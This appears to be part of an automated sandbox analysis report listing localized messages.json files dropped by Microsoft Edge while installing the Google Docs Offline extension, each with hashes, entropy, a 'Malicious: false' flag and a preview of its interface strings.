Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7684_20349261\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
